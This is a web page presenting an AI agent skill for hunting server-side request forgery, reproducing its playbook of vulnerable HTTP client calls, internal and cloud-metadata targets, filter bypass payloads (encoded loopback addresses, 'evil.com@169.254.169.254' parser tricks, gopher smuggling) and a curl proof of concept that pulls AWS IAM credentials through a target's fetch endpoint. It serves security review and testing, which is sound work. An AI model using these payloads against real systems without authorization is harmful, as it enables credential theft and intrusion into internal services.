ssrf
What it does
This skill is a playbook for finding server-side request forgery, where an app is tricked into making requests to addresses the attacker chooses. It is for developers and reviewers who check their own code.
When to use it
- βWhen a developer asks the agent to check whether a URL from a user is fetched by the server without limits.
- βWhen the agent reviews code that calls cloud metadata addresses or internal admin panels.
- βWhen a team needs a list of HTTP client calls in each language that take user-supplied addresses.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check our authorized app to see whether a user can make the server fetch an internal address?β
5 new skills a week. 1 minute to read.
How it works
The agent finds HTTP client calls, traces user input to them, and checks whether the app blocks internal addresses and cloud metadata endpoints.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
SSRF Hunting Playbook
SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.
1. Sources (user-controlled input that becomes a URL)
Look for any parameter that gets fed into an HTTP client:
- Python:
requests.get(user_url),httpx.get,urllib.request.urlopen,aiohttp.get - Node:
fetch(userUrl),axios.get,http.request,got,node-fetch - Java:
HttpURLConnection,HttpClient.send,URL.openConnection,OkHttpClient - Go:
http.Get(u),http.NewRequest,net.Dial("tcp", u) - Ruby:
Net::HTTP.get,URI.open,Faraday.get - PHP:
file_get_contents($url),curl_exec,fsockopen
Grep patterns to run via bash:
semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src
2. Sinks that make SSRF worth reporting
| Sink | Impact |
|---|---|
http://169.254.169.254/ (AWS IMDS) |
IAM role creds β full AWS takeover |
http://metadata.google.internal/ |
GCP service-account token |
http://169.254.169.254/metadata/v1/ |
Azure IMDS |
http://127.0.0.1:6379/ (Redis) |
Unauthenticated RCE via Lua eval / cron |
http://127.0.0.1:9200/ |
Elasticsearch data leak + RCE |
http://127.0.0.1:2375/ |
Docker daemon β container escape |
gopher://, dict://, file:// |
Protocol smuggling (SMTP, memcached) |
Internal *.svc.cluster.local |
Kubernetes service mesh lateral |
3. Bypass classes (why scanners miss real bugs)
- DNS rebinding β resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
- IPv6 literal β
[::1],[::ffff:127.0.0.1],[::] - Decimal / octal / hex encoding β
0x7f.0.0.1,0177.0.0.1,2130706433 - URL parser confusion β
http://evil.com@169.254.169.254/,http://169.254.169.254#.evil.com/ - IDN unicode tricks β homoglyph domains that normalize to metadata hosts
- Redirect chains β allowlist checks the initial URL, not the 302 target
- IMDSv2 required β but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
- 30x β file:// β server follows redirects across protocols
4. Taint audit workflow
- Enumerate sources with grep + semgrep (above).
- For each hit, follow the data flow manually:
- Is there a
urlparsecheck? Does it check.hostname(spoofable) or the raw URL (safe)? - Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
- Is redirect following disabled?
allow_redirects=Falsein requests.
- Is there a
- Each confirmed source-to-sink path β
kg_add_node(kind="vulnerability", ...). - Link the vuln to its file+line via a code_location node.
5. PoC template
# AWS IMDSv1 leak β copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# β expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# β expect {AccessKeyId, SecretAccessKey, Token}
Success patterns for validate_finding:
AccessKeyIdSecretAccessKeyToken.*[A-Za-z0-9+/]{100,}
Negative control:
- Same request with the URL param blanked or set to
https://example.com/ - Negative patterns:
Missing url,400,example.com
6. Default CVSS for confirmed SSRF
| Variant | CVSS vector | Score |
|---|---|---|
| Blind SSRF, external only | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | 5.3 |
| SSRF β internal services (no pivot) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 |
| SSRF β cloud metadata β IAM credential | AV:N/AC:L/PR:N/UI:N/S:C/C:H |
FAQ
What is server-side request forgery?
It is when the server sends requests on behalf of a user to addresses the user should not reach.
Why is it considered high impact?
The skill says it can reach cloud metadata or internal admin tools, which can expose credentials.
What bypasses does the skill mention?
It mentions DNS rebinding and other tricks that can defeat simple address filters.
Details
Original description by the author
Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 β IAM role chain that turns SSRF into RCE.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13972
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.